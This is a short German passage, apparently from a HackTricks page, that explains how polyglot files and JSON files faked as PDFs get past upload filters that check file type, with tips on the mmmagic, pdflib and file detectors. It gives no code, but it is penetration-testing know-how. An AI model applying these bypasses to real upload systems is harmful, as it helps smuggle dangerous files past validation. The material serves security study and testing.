Der wesentliche Nutzen von Polyglot files liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien anhand ihres Typs filtern. In vielen Anwendungen ist es üblich, nur bestimmte Dateitypen für Uploads zuzulassen — etwa JPEG, GIF oder DOC — um das Risiko durch potenziell gefährliche Formate (z. B. JS, PHP oder Phar) zu minimieren. Ein Polyglot kann jedoch, indem es die strukturellen Kriterien mehrerer Dateitypen erfüllt, diese Beschränkungen unbemerkt umgehen.

Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Beispielsweise kann ein Polyglot, das gleichzeitig eine PHAR-Datei und ein JPEG darstellt, beim Upload daran scheitern, dass die Plattform strikte Regeln für erlaubte Dateiendungen hat. In solchen Fällen reicht die strukturelle Dualität eines Polyglots möglicherweise nicht aus, um den Upload sicherzustellen.

Mehr Informationen in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Upload valid JSONs like if it was PDF

Wie man Dateityp-Erkennungen umgeht, indem man eine gültige JSON-Datei hochlädt, selbst wenn dies nicht erlaubt ist, indem man sie als PDF fälscht (Techniken aus this blog post):

  • mmmagic library: Solange die %PDF magic bytes in den ersten 1024 Bytes vorhanden sind, gilt die Datei als gültig (siehe Beispiel im Beitrag)
  • pdflib library: Füge ein gefälschtes PDF-Format in ein Feld der JSON ein, sodass die Bibliothek denkt, es sei ein PDF (siehe Beispiel im Beitrag)
  • file binary: Es kann bis zu 1048576 Bytes aus einer Datei lesen. Erstelle einfach eine JSON, die größer ist, sodass es den Inhalt nicht als JSON parsen kann, und platziere dann innerhalb der JSON den initialen Teil eines echten PDFs — dann wird es als PDF erkannt

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks